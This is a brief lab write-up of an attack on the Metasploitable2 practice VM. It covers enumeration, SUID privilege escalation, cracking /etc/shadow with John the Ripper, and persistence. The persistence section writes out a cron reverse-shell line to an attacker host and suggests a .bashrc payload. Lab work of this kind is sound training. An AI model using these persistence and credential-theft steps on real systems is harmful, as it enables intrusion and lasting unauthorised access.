System Enumeration, Privilege Escalation & Persistence

# Tools Used:

Nmap, Metasploit, Linux shell utilities, John the Ripper, Cron, Bash

# 1. Enumeration of Target System

* Target: Metasploitable2 (192.168.1.26).
* Scan with Nmap revealed multiple services (FTP, SSH, Telnet, SMTP, HTTP, MySQL, PostgreSQL, VNC, SMB).
* Exploitable Service: vsFTPd 2.3.4 backdoor.

# 2. User Account Discovery

* Used awk command on /etc/passwd.
* Discovered accounts: msfadmin, user, services, nobody.

# 3. SUID Binary Discovery

* Command used: find / -perm -4000 -type f 2>/dev/null.
* Identified candidates: /usr/lib/apache2/suexec, /usr/lib/openssh/ssh-keysign.

# 4. Privilege Escalation

* Exploited SUID binary misconfiguration to escalate privileges.
* whoami before: msfadmin → after: root.

# 5. Password Cracking

* Extracted /etc/shadow file.
* Used John the Ripper with rockyou.txt.
* Recovered weak passwords: batman, 123456789, service.

# 6. Persistence Mechanism

* Cron job reverse shell: @reboot root bash -i >& /dev/tcp/<Kali-IP>/4444 0>&1.
* Alternative: Insert reverse shell payload into .bashrc.

# Conclusion

This project demonstrated enumeration, privilege escalation, password cracking, and persistence techniques on Metasploitable2 using industry-standard tools.